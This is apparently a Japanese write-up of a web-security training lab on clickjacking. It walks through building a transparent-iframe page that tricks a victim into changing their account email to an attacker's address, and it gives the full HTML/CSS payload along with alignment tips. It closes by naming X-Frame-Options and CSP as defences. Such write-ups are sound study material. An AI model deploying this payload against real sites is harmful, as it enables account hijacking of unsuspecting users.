Hello there, ('ω')ノ
概要
このラボでは、ユーザーが意図せずに自分のメールアドレスを攻撃者の指定したアドレスに変更してしまうような、クリックジャッキング攻撃を実施します。攻撃者は、透明なiframeを使用して、被害者が「Click me」と表示されたボタンをクリックすると、実際には「Update email」ボタンがクリックされるように仕掛けます。
攻撃手順
1. ターゲットサイトにログイン
- 提供された資格情報
wiener:peter
を使用して、ターゲットのウェブサイトにログインします。
2. エクスプロイトサーバーにアクセス
- ラボの上部にある「Go to exploit server」リンクをクリックし、エクスプロイトサーバーに移動します。
3. HTMLテンプレートの作成
- 以下のHTMLコードを「Body」セクションに貼り付けます。
<style>
iframe {
position: relative;
width: 700px;
height: 600px;
opacity: 0.1;
z-index: 2;
}
div {
position: absolute;
top: 450px;
left: 50px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
YOUR-LAB-ID
を、ラボのURLに表示されている自分のラボIDに置き換えます。hacker@attacker-website.com
を、攻撃者が使用するメールアドレスに置き換えます。
4. iframeの位置と透明度の調整
- iframeの
opacity
を0.1
に設定し、透明度を調整します。これにより、iframeの内容が薄く表示され、位置合わせが容易になります。 div
要素のtop
とleft
プロパティを調整して、「Click me」ボタンがターゲットの「Update email」ボタンと正確に重なるようにします。- 位置が正確に合ったら、
opacity
を0.00001
に設定して、iframeを完全に透明にします。
5. エクスプロイトの保存と確認
- 「Store」ボタンをクリックして、エクスプロイトを保存します。
- 「View exploit」をクリックして、エクスプロイトページを表示し、ボタンの位置が正しく重なっていることを確認します。
6. エクスプロイトの配信
- 「Deliver exploit to victim」ボタンをクリックして、エクスプロイトを被害者に配信します。([Medium][1])
攻撃のポイントと注意点
- メールアドレスの一意性: 攻撃で使用するメールアドレスは、他のユーザーと重複しない一意のものである必要があります。
- 位置合わせの精度: 「Click me」ボタンと「Update email」ボタンが正確に重なるように、
top
とleft
の値を微調整してください。 - 透明度の調整: 最終的な攻撃では、iframeを完全に透明にするために、
opacity
を非常に低い値(例:0.00001
)に設定します。
まとめ
このラボでは、クリックジャッキング攻撃を通じて、ユーザーが意図しない操作を行ってしまう脆弱性を学びました。特に、フォームの入力がURLパラメータで事前に設定できる場合、攻撃者はユーザーの操作を誘導して、情報を変更させることが可能です。クリックジャッキング対策として、X-Frame-Options
ヘッダーやContent Security Policy(CSP)の設定が重要であることも理解しておきましょう。
Best regards, (^^ゞ